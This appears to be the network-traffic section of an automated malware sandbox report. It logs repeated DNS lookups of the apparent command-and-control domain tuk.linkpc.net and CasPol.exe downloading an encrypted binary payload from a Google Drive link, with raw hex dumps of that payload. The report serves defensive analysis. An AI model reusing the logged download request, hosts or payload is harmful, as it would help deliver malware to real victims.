Aug 5, 2022 11:40:40.696635008 CEST	192.168.11.20	1.1.1.1	0x21cd	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 5, 2022 11:32:57.913872957 CEST	1.1.1.1	192.168.11.20	0x9683	No error (0)	drive.google.com		142.250.179.174	A (IP address)	IN (0x0001)
Aug 5, 2022 11:32:58.621520996 CEST	1.1.1.1	192.168.11.20	0x4393	No error (0)	doc-14-70-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Aug 5, 2022 11:32:58.621520996 CEST	1.1.1.1	192.168.11.20	0x4393	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.225	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:00.911015034 CEST	1.1.1.1	192.168.11.20	0x1f73	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:07.255804062 CEST	1.1.1.1	192.168.11.20	0xf897	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:13.717253923 CEST	1.1.1.1	192.168.11.20	0xabf9	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:20.131943941 CEST	1.1.1.1	192.168.11.20	0x9b46	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:26.716433048 CEST	1.1.1.1	192.168.11.20	0x3b18	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:33.256779909 CEST	1.1.1.1	192.168.11.20	0xa1f9	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:40.003887892 CEST	1.1.1.1	192.168.11.20	0xcc71	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:46.431785107 CEST	1.1.1.1	192.168.11.20	0x528c	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:52.688828945 CEST	1.1.1.1	192.168.11.20	0xfb82	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:59.289171934 CEST	1.1.1.1	192.168.11.20	0xa88d	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:06.200170040 CEST	1.1.1.1	192.168.11.20	0xd9f1	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:12.789232016 CEST	1.1.1.1	192.168.11.20	0x8241	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:18.797213078 CEST	1.1.1.1	192.168.11.20	0x1019	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:24.727416992 CEST	1.1.1.1	192.168.11.20	0x8688	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:30.586200953 CEST	1.1.1.1	192.168.11.20	0xfdb9	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:36.597254992 CEST	1.1.1.1	192.168.11.20	0xdf35	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:42.566190004 CEST	1.1.1.1	192.168.11.20	0x8511	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:48.410609007 CEST	1.1.1.1	192.168.11.20	0xacca	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:54.438241005 CEST	1.1.1.1	192.168.11.20	0x396b	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:58.689017057 CEST	1.1.1.1	192.168.11.20	0xe2b1	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:04.593795061 CEST	1.1.1.1	192.168.11.20	0x54c5	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:11.581832886 CEST	9.9.9.9	192.168.11.20	0xe796	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:11.708448887 CEST	1.1.1.1	192.168.11.20	0x259e	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:12.653842926 CEST	1.1.1.1	192.168.11.20	0xe796	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:17.614592075 CEST	1.1.1.1	192.168.11.20	0xc2bb	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:23.625874043 CEST	1.1.1.1	192.168.11.20	0xe7d3	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:29.640959978 CEST	1.1.1.1	192.168.11.20	0x3bda	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:35.540015936 CEST	1.1.1.1	192.168.11.20	0x1eab	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:41.444996119 CEST	1.1.1.1	192.168.11.20	0x95f6	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:47.397044897 CEST	1.1.1.1	192.168.11.20	0xbbd9	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:53.371336937 CEST	1.1.1.1	192.168.11.20	0x138c	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:59.284746885 CEST	1.1.1.1	192.168.11.20	0xd0ef	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:05.236743927 CEST	1.1.1.1	192.168.11.20	0x3ed6	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:11.243120909 CEST	1.1.1.1	192.168.11.20	0x6433	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:17.095899105 CEST	1.1.1.1	192.168.11.20	0x6fb3	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:23.173751116 CEST	1.1.1.1	192.168.11.20	0xeb6f	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:30.099138975 CEST	9.9.9.9	192.168.11.20	0x4342	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:30.684124947 CEST	1.1.1.1	192.168.11.20	0x4342	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:36.028650999 CEST	1.1.1.1	192.168.11.20	0x9d66	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:41.982587099 CEST	1.1.1.1	192.168.11.20	0xc1f8	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:47.884468079 CEST	1.1.1.1	192.168.11.20	0xb30b	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:53.743386984 CEST	1.1.1.1	192.168.11.20	0x88aa	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:59.646581888 CEST	1.1.1.1	192.168.11.20	0x4d9f	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:05.598385096 CEST	1.1.1.1	192.168.11.20	0xeb9c	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:11.456281900 CEST	1.1.1.1	192.168.11.20	0xdbd3	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:17.361181021 CEST	1.1.1.1	192.168.11.20	0xa62	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:23.283582926 CEST	1.1.1.1	192.168.11.20	0xb57d	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:29.186938047 CEST	1.1.1.1	192.168.11.20	0x9000	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:35.139229059 CEST	1.1.1.1	192.168.11.20	0x9fc5	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:41.029963017 CEST	1.1.1.1	192.168.11.20	0x89ed	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:47.040210009 CEST	1.1.1.1	192.168.11.20	0x8b19	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:52.947561026 CEST	1.1.1.1	192.168.11.20	0x320e	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:59.892019987 CEST	9.9.9.9	192.168.11.20	0xf497	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:00.464914083 CEST	1.1.1.1	192.168.11.20	0xf497	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:00.906367064 CEST	9.9.9.9	192.168.11.20	0xc102	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:02.018528938 CEST	1.1.1.1	192.168.11.20	0xc102	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:04.931158066 CEST	1.1.1.1	192.168.11.20	0x31ed	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:10.881320000 CEST	1.1.1.1	192.168.11.20	0xe702	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:16.854331017 CEST	1.1.1.1	192.168.11.20	0x713c	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:22.800626040 CEST	1.1.1.1	192.168.11.20	0x6976	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:29.666232109 CEST	9.9.9.9	192.168.11.20	0x6d35	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:29.670787096 CEST	9.9.9.9	192.168.11.20	0x2554	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:30.276550055 CEST	1.1.1.1	192.168.11.20	0x6d35	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:33.688431978 CEST	1.1.1.1	192.168.11.20	0x458	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:39.761596918 CEST	1.1.1.1	192.168.11.20	0xadeb	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:45.608515024 CEST	1.1.1.1	192.168.11.20	0x136b	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:51.646773100 CEST	1.1.1.1	192.168.11.20	0xfb92	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:57.589534044 CEST	1.1.1.1	192.168.11.20	0xb123	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:04.456307888 CEST	9.9.9.9	192.168.11.20	0x12dd	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:04.461613894 CEST	9.9.9.9	192.168.11.20	0xab33	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:05.056463957 CEST	1.1.1.1	192.168.11.20	0x12dd	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:08.477998972 CEST	1.1.1.1	192.168.11.20	0x7dea	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:12.741753101 CEST	1.1.1.1	192.168.11.20	0xf28b	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:19.655186892 CEST	9.9.9.9	192.168.11.20	0xb1c9	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:19.659593105 CEST	9.9.9.9	192.168.11.20	0x6e5e	Name error (3)	tuk.linkpc.net	none	none	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:20.255547047 CEST	1.1.1.1	192.168.11.20	0xb1c9	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:23.677767992 CEST	1.1.1.1	192.168.11.20	0x3cd6	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:29.745368958 CEST	1.1.1.1	192.168.11.20	0x1997	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:35.597193003 CEST	1.1.1.1	192.168.11.20	0x6311	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:41.534070969 CEST	1.1.1.1	192.168.11.20	0x7848	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:47.392364979 CEST	1.1.1.1	192.168.11.20	0xcfc0	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:53.296116114 CEST	1.1.1.1	192.168.11.20	0xbe9c	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:59.248460054 CEST	1.1.1.1	192.168.11.20	0x5a9f	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:05.162075043 CEST	1.1.1.1	192.168.11.20	0x94e3	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:11.148859024 CEST	1.1.1.1	192.168.11.20	0x8b0f	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:17.041599989 CEST	1.1.1.1	192.168.11.20	0x9f2a	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:22.946896076 CEST	1.1.1.1	192.168.11.20	0x3a89	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:28.882746935 CEST	1.1.1.1	192.168.11.20	0x560c	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:34.789006948 CEST	1.1.1.1	192.168.11.20	0xd867	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:40.812553883 CEST	1.1.1.1	192.168.11.20	0x21cd	No error (0)	tuk.linkpc.net		188.127.230.176	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-14-70-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49791	142.250.179.174	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 09:32:58 UTC	0	OUT	GET /uc?export=download&id=1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-08-05 09:32:58 UTC	0	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 05 Aug 2022 09:32:58 GMT Location: https://doc-14-70-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bcmtj5ie1disn24fvm7mb2d8jibr4j1v/1659691950000/06422039211485589527//1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r?e=download&uuid=fa4270ed-3082-4e6e-8e77-e38f9ee0c1fd Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin; report-to="DriveUntrustedContentHttp" Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"DriveUntrustedContentHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external"}]} Content-Security-Policy: script-src 'nonce-o6_yjWqPkGligajFWV2CfQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version= Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49792	142.250.181.225	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 09:32:58 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bcmtj5ie1disn24fvm7mb2d8jibr4j1v/1659691950000/06422039211485589527/*/1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r?e=download&uuid=fa4270ed-3082-4e6e-8e77-e38f9ee0c1fd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-14-70-docs.googleusercontent.com Connection: Keep-Alive
2022-08-05 09:32:58 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdvAw9Z6TxvhP7VUw6R8jim-MdANv4VJy5KrQDLThbSSmPwFqTirQ3FiqncYvgwoct8Y_Pgn239ctkt0zMR0JtML7w Content-Type: application/octet-stream Content-Disposition: attachment; filename="xoxo nano_GhMgvwjlld45.bin"; filename=UTF-8''xoxo%20nano_GhMgvwjlld45.bin Access-Control-Allow-Origin: Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context Access-Control-Allow-Methods: GET,HEAD,OPTIONS Content-Length: 207936 Date: Fri, 05 Aug 2022 09:32:58 GMT Expires: Fri, 05 Aug 2022 09:32:58 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=3MI7Fw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-08-05 09:32:58 UTC	6	IN	Data Raw: 78 08 1f af 40 f6 79 04 b6 a5 f3 a5 cc 51 3c a0 a4 35 7c 0a 4e d6 6e 39 5d b5 2f 26 2f 11 5d c6 ef 31 9d d0 e4 fc e4 b6 e5 f7 0d ad e9 d1 03 f4 e6 5b d1 87 28 0b 45 ff c4 38 e2 93 e6 45 fa 01 ac 82 20 52 94 47 fc 46 80 bd 4e 77 d8 d5 ad ad 8b 8d 56 0d 42 d4 87 2e c5 c6 f0 e5 be 37 4b c9 72 2e 73 6e 37 c1 5e 0b 5e f4 d5 8c 8b ec fa 3f 0a e3 7f 50 fc 51 b8 2c 8e 15 bd 46 03 a0 0a 4b 66 0c 98 53 a7 bb 86 0d e3 4a 6c 80 b3 9d 3e 9c 76 a5 46 95 75 f0 13 cb 46 28 2d a6 7d 09 02 a0 d6 e3 ae 65 f9 b9 93 34 ec df 1b 50 b8 a2 84 7c b6 3a 50 5d fb f6 0a 8f f3 bd b2 81 3f 9d e9 34 a4 22 54 c1 ab db f6 33 bb cb 0e 89 a6 53 14 7c da 30 4d c0 f7 01 22 51 d6 85 d6 95 1f ac 47 08 61 70 27 98 c1 bf 12 97 4a a3 fc e0 a2 b3 c9 fd dd 74 e5 71 c1 da 21 85 1e 27 e4 c4 1a d2 96 Data Ascii: x@yQ<5\|Nn9]/&/]1[(E8E RGFNwVB.7Kr.sn7^^?PQ,FKfSJl>vFuF(-}e4P\|:P]?4"T3S\|0M"QGap'Jtq!'
2022-08-05 09:32:58 UTC	10	IN	Data Raw: 78 9c 38 d0 b9 c8 8b d3 9c ab 13 ff 3d e1 92 ec 1f 4e 89 68 92 a3 46 66 c4 13 6a 1f 84 db e6 22 0f 65 0b 9b 9c e1 da a6 4c ba 4d da 3d 9d bd 4e 73 0a 2c 86 ae 15 a6 a2 27 40 cc 9e 03 97 e0 8b fc be 37 4f ca 6b 30 5e 64 11 ae 30 0b 5e fe ff aa a0 00 dc 14 fe e0 4f 5a fc 60 b8 2c 8e 15 bd 46 83 a2 16 5e 45 19 04 26 be 0f 8f c4 ef f4 46 cf 58 97 9e de 1d cc 71 c8 14 b9 0f a0 27 45 09 c6 02 7e 41 c4 84 c7 a3 6f d9 cb ec 70 ea 9d 9e 56 d7 1e d7 5c db 56 04 32 d5 dc 07 85 d7 bd b2 81 3f 9f f2 2d d9 6d 72 ba fd da f5 37 37 ea cc de 80 78 e0 56 d8 28 51 ed 1b 27 57 4a dd 84 d4 fa 6f 64 46 02 4b 34 0d 6a c1 bc 22 9d d8 63 fd e0 a2 93 c9 fd dd 76 f0 6b ec d0 47 fe 04 07 e4 c0 37 d6 bd cc ea 47 7f 20 fe e6 71 8e c3 88 9d 6b de 54 9e f1 de f5 90 36 03 50 ce 5c 60 2a Data Ascii: x8=NhFfj"eLM=Ns,'@7Ok0^d0^OZ`,F^E&FXq'E~AopV\V2?-mr77xV(Q'WJodFK4j"cvkG7G qkT6P\`*
2022-08-05 09:32:58 UTC	13	IN	Data Raw: 2b 9f df f6 2e 2f b5 15 b3 63 e1 d8 b6 7a 23 47 fc 40 ac dc 4e 77 2d f4 ad 87 19 8d 57 1d 42 d4 87 2e 98 c6 a8 90 be 17 0d c9 72 2f 68 5e 32 c1 f5 0a 5e f4 ff 8c 8b fd 84 42 0a e3 7b 70 d8 71 68 32 a6 ea bd 46 85 88 a2 4b 68 19 35 70 ac 29 89 e8 6c f2 6d c6 53 ba 41 f7 15 fd 95 cf 01 b7 db b9 27 4f 13 e8 30 41 6b e7 89 c2 cc 06 c7 e6 c3 7c c5 a0 ef 09 ce ed d7 5d aa 67 34 38 d4 e3 2a 92 f1 c3 8a 81 3f 99 e1 1c 4d 67 54 cb f1 f5 d8 18 13 e7 cc 0f ab 78 cd 70 f1 d7 45 40 2f 01 2c 54 d4 93 4a e1 15 64 46 13 e1 25 26 98 c5 c1 25 97 d8 40 d5 80 a3 93 cf 7d eb 74 e7 75 d9 d3 ef 32 09 5e f7 c3 09 d4 ae 25 cc 6c 8b 18 f9 02 78 b3 cf ae e4 63 db 5d 8b 9a 35 8c d8 3c 29 77 94 e6 60 29 d6 01 c1 5e be 08 da 6a 0c f6 2c 94 1a 38 72 10 7a ea 5d dc af b1 8e cd d9 48 27 Data Ascii: +./cz#G@Nw-WB.r/h^2^B{pqh2FKh5p)lmSA'O0Ak\|]g48*?MgTxpE@/,TJdF%&%@}tu2^%lxc]5<)w`)^j,8rz]H'
2022-08-05 09:32:58 UTC	17	IN	Data Raw: 8d 56 07 5b f9 90 08 87 e6 f5 c6 6e 29 63 36 72 2e 75 46 9f c1 5e 01 44 d9 d3 aa a0 ea f1 14 ed ef 54 50 f4 79 16 2c 8e 1f 91 5a 8b 88 a5 4b 68 19 38 70 b7 29 86 d6 ea 05 6d cc 74 94 92 f4 1f dc 6d 3b 30 92 5f 57 2f 57 0c ed e5 67 6c c5 8a 39 cc 00 d3 e3 5e 5a cc bc ab 50 d9 c5 9b 5c db 5f 27 3c c4 ff 27 b6 f4 6d ac a9 c0 9d e9 32 dc d3 54 c1 e1 f2 94 33 1a e6 39 dd a1 79 6a 7d ca 30 4d c0 17 24 2c 68 80 84 f0 d3 1f 64 47 13 51 11 26 f4 c1 bf 12 aa d8 44 ec 9e df 93 c9 f9 fd a4 c3 a1 df f2 9e 85 1e 01 cc 6c 1a d0 9c d2 e1 67 ad 0d d4 52 6d a3 c5 83 e1 5a dd 5f b1 6d bb df 97 14 d2 76 e5 a4 79 04 dc 5a d6 76 10 0c c8 65 29 e8 03 80 4e 89 f8 2a 66 c7 5f 8b 43 94 84 e7 5f 88 39 cc 20 93 ac f4 47 2b 1e e4 57 d6 58 ba ba 